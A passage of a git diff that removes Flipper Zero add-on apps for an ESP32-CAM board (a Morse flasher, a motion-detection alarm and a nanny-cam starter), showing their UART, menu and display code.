actual_commands[MAX_OPTIONS]; - InputArgs needs_keyboard; - FocusConsole focus_console; - bool show_stopscan_tip; -} UART_TerminalItem; - -// NUM_MENU_ITEMS defined in uart_terminal_app_i.h - if you add an entry here, increment it! -const UART_TerminalItem items[NUM_MENU_ITEMS] = { - {"New custom message", {""}, 1, {""}, INPUT_ARGS, FOCUS_CONSOLE_END, NO_TIP}, - {"Quick message", - {"SOS", "CQD", "VVV", "Eureka", "E.T ph...", "what h...", "Mayhem", "Flipper"}, - 8, - {"sos", - "cqd", - "vvv", - "eureka", - "e.t. phone home", - "what hath god wrought!", - "let the mayhem begin", - "flipper zero in da housa"}, - NO_ARGS, - FOCUS_CONSOLE_END, - NO_TIP}, - {"Help", {""}, 1, {""}, NO_ARGS, FOCUS_CONSOLE_START, SHOW_STOPSCAN_TIP}, -}; - -static void uart_terminal_scene_start_var_list_enter_callback(void* context, uint32_t index) { - furi_assert(context); - UART_TerminalApp* app = context; - - furi_assert(index < NUM_MENU_ITEMS); - const UART_TerminalItem* item = &items[index]; - - const int selected_option_index = app->selected_option_index[index]; - furi_assert(selected_option_index < item->num_options_menu); - app->selected_tx_string = item->actual_commands[selected_option_index]; - app->is_command = (1 <= index); - app->is_custom_tx_string = false; - app->selected_menu_index = index; - app->focus_console_start = (item->focus_console == FOCUS_CONSOLE_TOGGLE) ? - (selected_option_index == 0) : - item->focus_console; - app->show_stopscan_tip = item->show_stopscan_tip; - - bool needs_keyboard = (item->needs_keyboard == TOGGLE_ARGS) ? (selected_option_index != 0) : - item->needs_keyboard; - if(needs_keyboard) { - view_dispatcher_send_custom_event(app->view_dispatcher, UART_TerminalEventStartKeyboard); - } else { - view_dispatcher_send_custom_event(app->view_dispatcher, UART_TerminalEventStartConsole); - } -} - -static void uart_terminal_scene_start_var_list_change_callback(VariableItem* item) { - furi_assert(item); - - UART_TerminalApp* app = variable_item_get_context(item); - furi_assert(app); - - const UART_TerminalItem* menu_item = &items[app->selected_menu_index]; - uint8_t item_index = variable_item_get_current_value_index(item); - furi_assert(item_index < menu_item->num_options_menu); - variable_item_set_current_value_text(item, menu_item->options_menu[item_index]); - app->selected_option_index[app->selected_menu_index] = item_index; -} - -void uart_terminal_scene_start_on_enter(void* context) { - UART_TerminalApp* app = context; - VariableItemList* var_item_list = app->var_item_list; - - variable_item_list_set_enter_callback( - var_item_list, uart_terminal_scene_start_var_list_enter_callback, app); - - VariableItem* item; - for(int i = 0; i < NUM_MENU_ITEMS; ++i) { - item = variable_item_list_add( - var_item_list, - items[i].item_string, - items[i].num_options_menu, - uart_terminal_scene_start_var_list_change_callback, - app); - variable_item_set_current_value_index(item, app->selected_option_index[i]); - variable_item_set_current_value_text( - item, items[i].options_menu[app->selected_option_index[i]]); - } - - variable_item_list_set_selected_item( - var_item_list, scene_manager_get_scene_state(app->scene_manager, UART_TerminalSceneStart)); - - view_dispatcher_switch_to_view(app->view_dispatcher, UART_TerminalAppViewVarItemList); -} - -bool uart_terminal_scene_start_on_event(void* context, SceneManagerEvent event) { - UNUSED(context); - UART_TerminalApp* app = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - if(event.event == UART_TerminalEventStartKeyboard) { - scene_manager_set_scene_state( - app->scene_manager, UART_TerminalSceneStart, app->selected_menu_index); - scene_manager_next_scene(app->scene_manager, UART_TerminalAppViewTextInput); - } else if(event.event == UART_TerminalEventStartConsole) { - scene_manager_set_scene_state( - app->scene_manager, UART_TerminalSceneStart, app->selected_menu_index); - scene_manager_next_scene(app->scene_manager, UART_TerminalAppViewConsoleOutput); - } - consumed = true; - } else if(event.type == SceneManagerEventTypeTick) { - app->selected_menu_index = variable_item_list_get_selected_item_index(app->var_item_list); - consumed = true; - } - - return consumed; -} - -void uart_terminal_scene_start_on_exit(void* context) { - UART_TerminalApp* app = context; - variable_item_list_reset(app->var_item_list); -} diff --git a/applications/external/esp32cam_morseflasher/scenes/uart_terminal_scene_text_input.c b/applications/external/esp32cam_morseflasher/scenes/uart_terminal_scene_text_input.c deleted file mode 100644 index fd33aee78..000000000 --- a/applications/external/esp32cam_morseflasher/scenes/uart_terminal_scene_text_input.c +++ /dev/null @@ -1,62 +0,0 @@ -#include "../uart_terminal_app_i.h" - -void uart_terminal_scene_text_input_callback(void* context) { - UART_TerminalApp* app = context; - - view_dispatcher_send_custom_event(app->view_dispatcher, UART_TerminalEventStartConsole); -} - -void uart_terminal_scene_text_input_on_enter(void* context) { - UART_TerminalApp* app = context; - - if(false == app->is_custom_tx_string) { - // Fill text input with selected string so that user can add to it - size_t length = strlen(app->selected_tx_string); - furi_assert(length < UART_TERMINAL_TEXT_INPUT_STORE_SIZE); - bzero(app->text_input_store, UART_TERMINAL_TEXT_INPUT_STORE_SIZE); - strncpy(app->text_input_store, app->selected_tx_string, length); - - // Add space - because flipper keyboard currently doesn't have a space - //app->text_input_store[length] = ' '; - app->text_input_store[length + 1] = '\0'; - app->is_custom_tx_string = true; - } - - // Setup view - TextInput* text_input = app->text_input; - // Add help message to header - text_input_set_header_text(text_input, "Send new morse message"); - text_input_set_result_callback( - text_input, - uart_terminal_scene_text_input_callback, - app, - app->text_input_store, - UART_TERMINAL_TEXT_INPUT_STORE_SIZE, - false); - - text_input_add_illegal_symbols(text_input); - - view_dispatcher_switch_to_view(app->view_dispatcher, UART_TerminalAppViewTextInput); -} - -bool uart_terminal_scene_text_input_on_event(void* context, SceneManagerEvent event) { - UART_TerminalApp* app = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - if(event.event == UART_TerminalEventStartConsole) { - // Point to custom string to send - app->selected_tx_string = app->text_input_store; - scene_manager_next_scene(app->scene_manager, UART_TerminalAppViewConsoleOutput); - consumed = true; - } - } - - return consumed; -} - -void uart_terminal_scene_text_input_on_exit(void* context) { - UART_TerminalApp* app = context; - - text_input_reset(app->text_input); -} diff --git a/applications/external/esp32cam_morseflasher/uart_terminal_app.c b/applications/external/esp32cam_morseflasher/uart_terminal_app.c deleted file mode 100644 index 37d047d19..000000000 --- a/applications/external/esp32cam_morseflasher/uart_terminal_app.c +++ /dev/null @@ -1,120 +0,0 @@ -#include "uart_terminal_app_i.h" - -#include -#include - -static bool uart_terminal_app_custom_event_callback(void* context, uint32_t event) { - furi_assert(context); - UART_TerminalApp* app = context; - return scene_manager_handle_custom_event(app->scene_manager, event); -} - -static bool uart_terminal_app_back_event_callback(void* context) { - furi_assert(context); - UART_TerminalApp* app = context; - return scene_manager_handle_back_event(app->scene_manager); -} - -static void uart_terminal_app_tick_event_callback(void* context) { - furi_assert(context); - UART_TerminalApp* app = context; - scene_manager_handle_tick_event(app->scene_manager); -} - -UART_TerminalApp* uart_terminal_app_alloc() { - UART_TerminalApp* app = malloc(sizeof(UART_TerminalApp)); - - app->gui = furi_record_open(RECORD_GUI); - - app->view_dispatcher = view_dispatcher_alloc(); - app->scene_manager = scene_manager_alloc(&uart_terminal_scene_handlers, app); - view_dispatcher_enable_queue(app->view_dispatcher); - view_dispatcher_set_event_callback_context(app->view_dispatcher, app); - - view_dispatcher_set_custom_event_callback( - app->view_dispatcher, uart_terminal_app_custom_event_callback); - view_dispatcher_set_navigation_event_callback( - app->view_dispatcher, uart_terminal_app_back_event_callback); - view_dispatcher_set_tick_event_callback( - app->view_dispatcher, uart_terminal_app_tick_event_callback, 100); - - view_dispatcher_attach_to_gui(app->view_dispatcher, app->gui, ViewDispatcherTypeFullscreen); - - app->var_item_list = variable_item_list_alloc(); - view_dispatcher_add_view( - app->view_dispatcher, - UART_TerminalAppViewVarItemList, - variable_item_list_get_view(app->var_item_list)); - - for(int i = 0; i < NUM_MENU_ITEMS; ++i) { - app->selected_option_index[i] = 0; - } - - app->text_box = text_box_alloc(); - view_dispatcher_add_view( - app->view_dispatcher, UART_TerminalAppViewConsoleOutput, text_box_get_view(app->text_box)); - app->text_box_store = furi_string_alloc(); - furi_string_reserve(app->text_box_store, UART_TERMINAL_TEXT_BOX_STORE_SIZE); - - app->text_input = text_input_alloc(); - view_dispatcher_add_view( - app->view_dispatcher, UART_TerminalAppViewTextInput, text_input_get_view(app->text_input)); - - scene_manager_next_scene(app->scene_manager, UART_TerminalSceneStart); - - return app; -} - -void uart_terminal_app_free(UART_TerminalApp* app) { - furi_assert(app); - - // Views - view_dispatcher_remove_view(app->view_dispatcher, UART_TerminalAppViewVarItemList); - view_dispatcher_remove_view(app->view_dispatcher, UART_TerminalAppViewConsoleOutput); - view_dispatcher_remove_view(app->view_dispatcher, UART_TerminalAppViewTextInput); - text_box_free(app->text_box); - furi_string_free(app->text_box_store); - text_input_free(app->text_input); - - // View dispatcher - view_dispatcher_free(app->view_dispatcher); - scene_manager_free(app->scene_manager); - - uart_terminal_uart_free(app->uart); - - // Close records - furi_record_close(RECORD_GUI); - - free(app); -} - -int32_t uart_terminal_app(void* p) { - UNUSED(p); - - // Enable uart listener - furi_hal_console_disable(); - furi_hal_uart_set_br(UART_CH, BAUDRATE); // TODO: Clean this - //furi_hal_uart_set_irq_cb(FuriHalUartIdUSART1, uart_echo_on_irq_cb, app); - - furi_hal_power_disable_external_3_3v(); - furi_hal_power_disable_otg(); - furi_delay_ms(200); - furi_hal_power_enable_external_3_3v(); - furi_hal_power_enable_otg(); - for(int i = 0; i < 2; i++) { - furi_delay_ms(500); - furi_hal_uart_tx(UART_CH, (uint8_t[1]){'.'}, 1); - } - furi_delay_ms(1); - UART_TerminalApp* uart_terminal_app = uart_terminal_app_alloc(); - - uart_terminal_app->uart = uart_terminal_uart_init(uart_terminal_app); - - view_dispatcher_run(uart_terminal_app->view_dispatcher); - - uart_terminal_app_free(uart_terminal_app); - - furi_hal_power_disable_otg(); - - return 0; -} diff --git a/applications/external/esp32cam_morseflasher/uart_terminal_app.h b/applications/external/esp32cam_morseflasher/uart_terminal_app.h deleted file mode 100644 index c859d828b..000000000 --- a/applications/external/esp32cam_morseflasher/uart_terminal_app.h +++ /dev/null @@ -1,11 +0,0 @@ -#pragma once - -#ifdef __cplusplus -extern "C" { -#endif - -typedef struct UART_TerminalApp UART_TerminalApp; - -#ifdef __cplusplus -} -#endif diff --git a/applications/external/esp32cam_morseflasher/uart_terminal_app_i.h b/applications/external/esp32cam_morseflasher/uart_terminal_app_i.h deleted file mode 100644 index 3f3323587..000000000 --- a/applications/external/esp32cam_morseflasher/uart_terminal_app_i.h +++ /dev/null @@ -1,49 +0,0 @@ -#pragma once - -#include "uart_terminal_app.h" -#include "scenes/uart_terminal_scene.h" -#include "uart_terminal_custom_event.h" -#include "uart_terminal_uart.h" - -#include -#include -#include -#include -#include -#include - -#define NUM_MENU_ITEMS (3) - -#define UART_TERMINAL_TEXT_BOX_STORE_SIZE (4096) -#define UART_TERMINAL_TEXT_INPUT_STORE_SIZE (512) -#define UART_CH (FuriHalUartIdUSART1) -#define BAUDRATE (230400) - -struct UART_TerminalApp { - Gui* gui; - ViewDispatcher* view_dispatcher; - SceneManager* scene_manager; - - char text_input_store[UART_TERMINAL_TEXT_INPUT_STORE_SIZE + 1]; - FuriString* text_box_store; - size_t text_box_store_strlen; - TextBox* text_box; - TextInput* text_input; - - VariableItemList* var_item_list; - - UART_TerminalUart* uart; - int selected_menu_index; - int selected_option_index[NUM_MENU_ITEMS]; - const char* selected_tx_string; - bool is_command; - bool is_custom_tx_string; - bool focus_console_start; - bool show_stopscan_tip; -}; - -typedef enum { - UART_TerminalAppViewVarItemList, - UART_TerminalAppViewConsoleOutput, - UART_TerminalAppViewTextInput, -} UART_TerminalAppView; diff --git a/applications/external/esp32cam_morseflasher/uart_terminal_custom_event.h b/applications/external/esp32cam_morseflasher/uart_terminal_custom_event.h deleted file mode 100644 index d57d822d1..000000000 --- a/applications/external/esp32cam_morseflasher/uart_terminal_custom_event.h +++ /dev/null @@ -1,7 +0,0 @@ -#pragma once - -typedef enum { - UART_TerminalEventRefreshConsoleOutput = 0, - UART_TerminalEventStartConsole, - UART_TerminalEventStartKeyboard, -} UART_TerminalCustomEvent; diff --git a/applications/external/esp32cam_morseflasher/uart_terminal_uart.c b/applications/external/esp32cam_morseflasher/uart_terminal_uart.c deleted file mode 100644 index 504fac7cd..000000000 --- a/applications/external/esp32cam_morseflasher/uart_terminal_uart.c +++ /dev/null @@ -1,98 +0,0 @@ -#include "uart_terminal_app_i.h" -#include "uart_terminal_uart.h" - -struct UART_TerminalUart { - UART_TerminalApp* app; - FuriThread* rx_thread; - FuriStreamBuffer* rx_stream; - uint8_t rx_buf[RX_BUF_SIZE + 1]; - void (*handle_rx_data_cb)(uint8_t* buf, size_t len, void* context); -}; - -typedef enum { - WorkerEvtStop = (1 << 0), - WorkerEvtRxDone = (1 << 1), -} WorkerEvtFlags; - -void uart_terminal_uart_set_handle_rx_data_cb( - UART_TerminalUart* uart, - void (*handle_rx_data_cb)(uint8_t* buf, size_t len, void* context)) { - furi_assert(uart); - uart->handle_rx_data_cb = handle_rx_data_cb; -} - -#define WORKER_ALL_RX_EVENTS (WorkerEvtStop | WorkerEvtRxDone) - -void uart_terminal_uart_on_irq_cb(UartIrqEvent ev, uint8_t data, void* context) { - UART_TerminalUart* uart = (UART_TerminalUart*)context; - - if(ev == UartIrqEventRXNE) { - furi_stream_buffer_send(uart->rx_stream, &data, 1, 0); - furi_thread_flags_set(furi_thread_get_id(uart->rx_thread), WorkerEvtRxDone); - } -} - -static int32_t uart_worker(void* context) { - UART_TerminalUart* uart = (void*)context; - - while(1) { - uint32_t events = - furi_thread_flags_wait(WORKER_ALL_RX_EVENTS, FuriFlagWaitAny, FuriWaitForever); - furi_check((events & FuriFlagError) == 0); - if(events & WorkerEvtStop) break; - if(events & WorkerEvtRxDone) { - size_t len = furi_stream_buffer_receive(uart->rx_stream, uart->rx_buf, RX_BUF_SIZE, 0); - if(len > 0) { - if(uart->handle_rx_data_cb) uart->handle_rx_data_cb(uart->rx_buf, len, uart->app); - } - } - } - - furi_stream_buffer_free(uart->rx_stream); - - return 0; -} - -void uart_terminal_uart_tx(uint8_t* data, size_t len) { - furi_hal_uart_tx(UART_CH, data, len); -} - -UART_TerminalUart* uart_terminal_uart_init(UART_TerminalApp* app) { - UART_TerminalUart* uart = malloc(sizeof(UART_TerminalUart)); - - /*furi_hal_console_disable(); - if(app->BAUDRATE == 0) { - app->BAUDRATE = 230400; - } - furi_hal_uart_set_br(UART_CH, app->BAUDRATE); - furi_hal_uart_set_irq_cb(UART_CH, uart_terminal_uart_on_irq_cb, uart);*/ - - uart->app = app; - uart->rx_stream = furi_stream_buffer_alloc(RX_BUF_SIZE, 1); - uart->rx_thread = furi_thread_alloc(); - furi_thread_set_name(uart->rx_thread, "UART_TerminalUartRxThread"); - furi_thread_set_stack_size(uart->rx_thread, 1024); - furi_thread_set_context(uart->rx_thread, uart); - furi_thread_set_callback(uart->rx_thread, uart_worker); - - furi_thread_start(uart->rx_thread); - - furi_hal_console_disable(); - furi_hal_uart_set_br(UART_CH, BAUDRATE); - furi_hal_uart_set_irq_cb(UART_CH, uart_terminal_uart_on_irq_cb, uart); - - return uart; -} - -void uart_terminal_uart_free(UART_TerminalUart* uart) { - furi_assert(uart); - - furi_thread_flags_set(furi_thread_get_id(uart->rx_thread), WorkerEvtStop); - furi_thread_join(uart->rx_thread); - furi_thread_free(uart->rx_thread); - - furi_hal_uart_set_irq_cb(UART_CH, NULL, NULL); - furi_hal_console_enable(); - - free(uart); -} \ No newline at end of file diff --git a/applications/external/esp32cam_morseflasher/uart_terminal_uart.h b/applications/external/esp32cam_morseflasher/uart_terminal_uart.h deleted file mode 100644 index ca95c92fb..000000000 --- a/applications/external/esp32cam_morseflasher/uart_terminal_uart.h +++ /dev/null @@ -1,14 +0,0 @@ -#pragma once - -#include "furi_hal.h" - -#define RX_BUF_SIZE (320) - -typedef struct UART_TerminalUart UART_TerminalUart; - -void uart_terminal_uart_set_handle_rx_data_cb( - UART_TerminalUart* uart, - void (*handle_rx_data_cb)(uint8_t* buf, size_t len, void* context)); -void uart_terminal_uart_tx(uint8_t* data, size_t len); -UART_TerminalUart* uart_terminal_uart_init(UART_TerminalApp* app); -void uart_terminal_uart_free(UART_TerminalUart* uart); diff --git a/applications/external/esp32cam_morseflasher/uart_validators.c b/applications/external/esp32cam_morseflasher/uart_validators.c deleted file mode 100644 index c87a6cc6e..000000000 --- a/applications/external/esp32cam_morseflasher/uart_validators.c +++ /dev/null @@ -1,57 +0,0 @@ -#include -#include "uart_validators.h" -#include - -struct ValidatorIsFile { - char* app_path_folder; - const char* app_extension; - char* current_name; -}; - -bool validator_is_file_callback(const char* text, FuriString* error, void* context) { - furi_assert(context); - ValidatorIsFile* instance = context; - - if(instance->current_name != NULL) { - if(strcmp(instance->current_name, text) == 0) { - return true; - } - } - - bool ret = true; - FuriString* path = furi_string_alloc_printf( - "%s/%s%s", instance->app_path_folder, text, instance->app_extension); - Storage* storage = furi_record_open(RECORD_STORAGE); - if(storage_common_stat(storage, furi_string_get_cstr(path), NULL) == FSE_OK) { - ret = false; - furi_string_printf(error, "This name\nexists!\nChoose\nanother one."); - } else { - ret = true; - } - furi_string_free(path); - furi_record_close(RECORD_STORAGE); - - return ret; -} - -ValidatorIsFile* validator_is_file_alloc_init( - const char* app_path_folder, - const char* app_extension, - const char* current_name) { - ValidatorIsFile* instance = malloc(sizeof(ValidatorIsFile)); - - instance->app_path_folder = strdup(app_path_folder); - instance->app_extension = app_extension; - if(current_name != NULL) { - instance->current_name = strdup(current_name); - } - - return instance; -} - -void validator_is_file_free(ValidatorIsFile* instance) { - furi_assert(instance); - free(instance->app_path_folder); - free(instance->current_name); - free(instance); -} diff --git a/applications/external/esp32cam_morseflasher/uart_validators.h b/applications/external/esp32cam_morseflasher/uart_validators.h deleted file mode 100644 index d9200b6db..000000000 --- a/applications/external/esp32cam_morseflasher/uart_validators.h +++ /dev/null @@ -1,21 +0,0 @@ -#pragma once - -#include - -#ifdef __cplusplus -extern "C" { -#endif -typedef struct ValidatorIsFile ValidatorIsFile; - -ValidatorIsFile* validator_is_file_alloc_init( - const char* app_path_folder, - const char* app_extension, - const char* current_name); - -void validator_is_file_free(ValidatorIsFile* instance); - -bool validator_is_file_callback(const char* text, FuriString* error, void* context); - -#ifdef __cplusplus -} -#endif diff --git a/applications/external/esp32cam_motion_detection/application.fam b/applications/external/esp32cam_motion_detection/application.fam deleted file mode 100644 index b2fa8a467..000000000 --- a/applications/external/esp32cam_motion_detection/application.fam +++ /dev/null @@ -1,14 +0,0 @@ -App( - appid="mayhem_motion", - name="[MAYHEM] Motion detection", - apptype=FlipperAppType.EXTERNAL, - entry_point="uart_echo_app", - cdefines=["APP_QRCODE"], - requires=["gui"], - stack_size=8 * 1024, - fap_icon="icon.png", - fap_category="GPIO", - fap_description="ESP32-CAM Motion detection. It generates a beep when motion is detected. Can be extended to trigger more stuff in the code. [Unplug the USB cable to test with Mayhem]", - fap_author="eried", - fap_weburl="https://flipper.ried.cl", -) diff --git a/applications/external/esp32cam_motion_detection/icon.png b/applications/external/esp32cam_motion_detection/icon.png deleted file mode 100644 index 3f112f1c5..000000000 Binary files a/applications/external/esp32cam_motion_detection/icon.png and /dev/null differ diff --git a/applications/external/esp32cam_motion_detection/uart_echo.c b/applications/external/esp32cam_motion_detection/uart_echo.c deleted file mode 100644 index 9b44c6d3d..000000000 --- a/applications/external/esp32cam_motion_detection/uart_echo.c +++ /dev/null @@ -1,240 +0,0 @@ -#include "uart_echo.h" - -static void uart_echo_view_draw_callback(Canvas* canvas, void* _model) { - UartDumpModel* model = _model; - - // Prepare canvas - canvas_clear(canvas); - canvas_set_color(canvas, ColorBlack); - canvas_set_font(canvas, FontKeyboard); - - for(size_t i = 0; i < LINES_ON_SCREEN; i++) { - canvas_draw_str( - canvas, - 0, - (i + 1) * (canvas_current_font_height(canvas) - 1), - furi_string_get_cstr(model->list[i]->text)); - - if(i == model->line) { - uint8_t width = - canvas_string_width(canvas, furi_string_get_cstr(model->list[i]->text)); - - canvas_draw_box( - canvas, - width, - (i) * (canvas_current_font_height(canvas) - 1) + 2, - 2, - canvas_current_font_height(canvas) - 2); - } - } -} - -static bool uart_echo_view_input_callback(InputEvent* event, void* context) { - UNUSED(event); - UNUSED(context); - return false; -} - -static uint32_t uart_echo_exit(void* context) { - UNUSED(context); - return VIEW_NONE; -} - -static void uart_echo_on_irq_cb(UartIrqEvent ev, uint8_t data, void* context) { - furi_assert(context); - UartEchoApp* app = context; - - if(ev == UartIrqEventRXNE) { - furi_stream_buffer_send(app->rx_stream, &data, 1, 0); - furi_thread_flags_set(furi_thread_get_id(app->worker_thread), WorkerEventRx); - } -} - -static void uart_echo_push_to_list(UartDumpModel* model, void* context, const char data) { - // Alarm sound - if(data == '!') { - UartEchoApp* app = context; - notification_message(app->notification, &sequence_alarm); - } - - if(model->escape) { - // escape code end with letter - if((data >= 'a' && data <= 'z') || (data >= 'A' && data <= 'Z')) { - model->escape = false; - } - } else if(data == '[' && model->last_char == '\e') { - // "Esc[" is a escape code - model->escape = true; - } else if((data >= ' ' && data <= '~') || (data == '\n' || data == '\r')) { - bool new_string_needed = false; - if(furi_string_size(model->list[model->line]->text) >= COLUMNS_ON_SCREEN) { - new_string_needed = true; - } else if((data == '\n' || data == '\r')) { - // pack line breaks - if(model->last_char != '\n' && model->last_char != '\r') { - new_string_needed = true; - } - } - - if(new_string_needed) { - if((model->line + 1) < LINES_ON_SCREEN) { - model->line += 1; - } else { - ListElement* first = model->list[0]; - - for(size_t i = 1; i < LINES_ON_SCREEN; i++) { - model->list[i - 1] = model->list[i]; - } - - furi_string_reset(first->text); - model->list[model->line] = first; - } - } - - if(data != '\n' && data != '\r') { - furi_string_push_back(model->list[model->line]->text, data); - } - } - model->last_char = data; -} - -static int32_t uart_echo_worker(void* context) { - furi_assert(context); - UartEchoApp* app = context; - - while(1) { - uint32_t events = - furi_thread_flags_wait(WORKER_EVENTS_MASK, FuriFlagWaitAny, FuriWaitForever); - furi_check((events & FuriFlagError) == 0); - - if(events & WorkerEventStop) break; - if(events & WorkerEventRx) { - size_t length = 0; - do { - uint8_t data[64]; - length = furi_stream_buffer_receive(app->rx_stream, data, 64, 0); - if(length > 0 && app->initialized) { - furi_hal_uart_tx(FuriHalUartIdUSART1, data, length); - with_view_model( - app->view, - UartDumpModel * model, - { - for(size_t i = 0; i < length; i++) { - uart_echo_push_to_list(model, app, data[i]); - } - }, - false); - } - } while(length > 0); - - //notification_message(app->notification, &sequence_notification); - with_view_model( - app->view, UartDumpModel * model, { UNUSED(model); }, true); - } - } - - return 0; -} - -static UartEchoApp* uart_echo_app_alloc() { - UartEchoApp* app = malloc(sizeof(UartEchoApp)); - - app->rx_stream = furi_stream_buffer_alloc(2048, 1); - - // Gui - app->gui = furi_record_open(RECORD_GUI); - app->notification = furi_record_open(RECORD_NOTIFICATION); - - // View dispatcher - app->view_dispatcher = view_dispatcher_alloc(); - view_dispatcher_enable_queue(app->view_dispatcher); - view_dispatcher_attach_to_gui(app->view_dispatcher, app->gui, ViewDispatcherTypeFullscreen); - - // Views - app->view = view_alloc(); - view_set_draw_callback(app->view, uart_echo_view_draw_callback); - view_set_input_callback(app->view, uart_echo_view_input_callback); - view_allocate_model(app->view, ViewModelTypeLocking, sizeof(UartDumpModel)); - with_view_model( - app->view, - UartDumpModel * model, - { - for(size_t i = 0; i < LINES_ON_SCREEN; i++) { - model->line = 0; - model->escape = false; - model->list[i] = malloc(sizeof(ListElement)); - model->list[i]->text = furi_string_alloc(); - } - }, - true); - - view_set_previous_callback(app->view, uart_echo_exit); - view_dispatcher_add_view(app->view_dispatcher, 0, app->view); - view_dispatcher_switch_to_view(app->view_dispatcher, 0); - - app->worker_thread = furi_thread_alloc_ex("UsbUartWorker", 1024, uart_echo_worker, app); - furi_thread_start(app->worker_thread); - - // Enable uart listener - furi_hal_console_disable(); - furi_hal_uart_set_br(FuriHalUartIdUSART1, 230400); - furi_hal_uart_set_irq_cb(FuriHalUartIdUSART1, uart_echo_on_irq_cb, app); - - furi_hal_power_disable_external_3_3v(); - furi_hal_power_disable_otg(); - furi_delay_ms(200); - furi_hal_power_enable_external_3_3v(); - furi_hal_power_enable_otg(); - for(int i = 0; i < 2; i++) { - furi_delay_ms(500); - furi_hal_uart_tx(FuriHalUartIdUSART1, (uint8_t[1]){'m'}, 1); - } - furi_delay_ms(1); - app->initialized = true; - return app; -} - -static void uart_echo_app_free(UartEchoApp* app) { - furi_assert(app); - - furi_hal_console_enable(); // this will also clear IRQ callback so thread is no longer referenced - - furi_thread_flags_set(furi_thread_get_id(app->worker_thread), WorkerEventStop); - furi_thread_join(app->worker_thread); - furi_thread_free(app->worker_thread); - - // Free views - view_dispatcher_remove_view(app->view_dispatcher, 0); - - with_view_model( - app->view, - UartDumpModel * model, - { - for(size_t i = 0; i < LINES_ON_SCREEN; i++) { - furi_string_free(model->list[i]->text); - free(model->list[i]); - } - }, - true); - view_free(app->view); - view_dispatcher_free(app->view_dispatcher); - - // Close gui record - furi_record_close(RECORD_GUI); - furi_record_close(RECORD_NOTIFICATION); - app->gui = NULL; - - furi_stream_buffer_free(app->rx_stream); - - // Free rest - free(app); -} - -int32_t uart_echo_app(void* p) { - UNUSED(p); - UartEchoApp* app = uart_echo_app_alloc(); - view_dispatcher_run(app->view_dispatcher); - uart_echo_app_free(app); - furi_hal_power_disable_otg(); - return 0; -} diff --git a/applications/external/esp32cam_motion_detection/uart_echo.h b/applications/external/esp32cam_motion_detection/uart_echo.h deleted file mode 100644 index 70ed18af0..000000000 --- a/applications/external/esp32cam_motion_detection/uart_echo.h +++ /dev/null @@ -1,69 +0,0 @@ -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include - -#define LINES_ON_SCREEN 6 -#define COLUMNS_ON_SCREEN 21 - -static const NotificationSequence sequence_alarm = { - &message_display_backlight_on, - &message_red_255, - //&message_vibro_on, - &message_note_d5, - &message_delay_100, - //&message_vibro_off, - &message_sound_off, - &message_note_b4, - &message_delay_50, - &message_sound_off, - &message_display_backlight_off, - //&message_red_0, - //&message_delay_50, - NULL, -}; - -typedef struct UartDumpModel UartDumpModel; - -typedef struct { - Gui* gui; - NotificationApp* notification; - ViewDispatcher* view_dispatcher; - View* view; - FuriThread* worker_thread; - FuriStreamBuffer* rx_stream; - bool initialized; -} UartEchoApp; - -typedef struct { - FuriString* text; -} ListElement; - -struct UartDumpModel { - ListElement* list[LINES_ON_SCREEN]; - uint8_t line; - - char last_char; - bool escape; -}; - -typedef enum { - WorkerEventReserved = (1 << 0), // Reserved for StreamBuffer internal event - WorkerEventStop = (1 << 1), - WorkerEventRx = (1 << 2), -} WorkerEventFlags; - -#define WORKER_EVENTS_MASK (WorkerEventStop | WorkerEventRx) - -/*const NotificationSequence sequence_notification = { - &message_display_backlight_on, - &message_green_255, - &message_delay_10, - NULL, -};*/ diff --git a/applications/external/esp32cam_nannycam/application.fam b/applications/external/esp32cam_nannycam/application.fam deleted file mode 100644 index bbb7022d1..000000000 --- a/applications/external/esp32cam_nannycam/application.fam +++ /dev/null @@ -1,14 +0,0 @@ -App( - appid="mayhem_nannycam", - name="[MAYHEM] Nanny Cam", - apptype=FlipperAppType.EXTERNAL, - entry_point="uart_echo_app", - cdefines=["APP_QRCODE"], - requires=["gui"], - stack_size=8 * 1024, - fap_icon="icon.png", - fap_category="GPIO", - fap_description="ESP32-CAM simple app to start a remote camera. [Unplug the USB cable to test with Mayhem]", - fap_author="eried", - fap_weburl="https://flipper.ried.cl", -) diff --git a/applications/external/esp32cam_nannycam/icon.png b/applications/external/esp32cam_nannycam/icon.png deleted file mode 100644 index a6439434d..000000000 Binary files a/applications/external/esp32cam_nannycam/icon.png and /dev/null differ diff --git a/applications/external/esp32cam_nannycam/uart_echo.c b/applications/external/esp32cam_nannycam/uart_echo.c deleted file mode 100644 index 80a3ed7bc..000000000 --- a/applications/external/esp32cam_nannycam/uart_echo.c +++ /dev/null @@ -1,234 +0,0 @@ -#include "uart_echo.h" - -static void uart_echo_view_draw_callback(Canvas* canvas, void* _model) { - UartDumpModel* model = _model; - - // Prepare canvas - canvas_clear(canvas); - canvas_set_color(canvas, ColorBlack); - canvas_set_font(canvas, FontKeyboard); - - for(size_t i = 0; i < LINES_ON_SCREEN; i++) { - canvas_draw_str( - canvas, - 0, - (i + 1) * (canvas_current_font_height(canvas) - 1), - furi_string_get_cstr(model->list[i]->text)); - - if(i == model->line) { - uint8_t width = - canvas_string_width(canvas, furi_string_get_cstr(model->list[i]->text)); - - canvas_draw_box( - canvas, - width, - (i) * (canvas_current_font_height(canvas) - 1) + 2, - 2, - canvas_current_font_height(canvas) - 2); - } - } -} - -static bool uart_echo_view_input_callback(InputEvent* event, void* context) { - UNUSED(event); - UNUSED(context); - return false; -} - -static uint32_t uart_echo_exit(void* context) { - UNUSED(context); - return VIEW_NONE; -} - -static void uart_echo_on_irq_cb(UartIrqEvent ev, uint8_t data, void* context) { - furi_assert(context); - UartEchoApp* app = context; - - if(ev == UartIrqEventRXNE) { - furi_stream_buffer_send(app->rx_stream, &data, 1, 0); - furi_thread_flags_set(furi_thread_get_id(app->worker_thread), WorkerEventRx); - } -} - -static void uart_echo_push_to_list(UartDumpModel* model, const char data) { - if(model->escape) { - // escape code end with letter - if((data >= 'a' && data <= 'z') || (data >= 'A' && data <= 'Z')) { - model->escape = false; - } - } else if(data == '[' && model->last_char == '\e') { - // "Esc[" is a escape code - model->escape = true; - } else if((data >= ' ' && data <= '~') || (data == '\n' || data == '\r')) { - bool new_string_needed = false; - if(furi_string_size(model->list[model->line]->text) >= COLUMNS_ON_SCREEN) { - new_string_needed = true; - } else if((data == '\n' || data == '\r')) { - // pack line breaks - if(model->last_char != '\n' && model->last_char != '\r') { - new_string_needed = true; - } - } 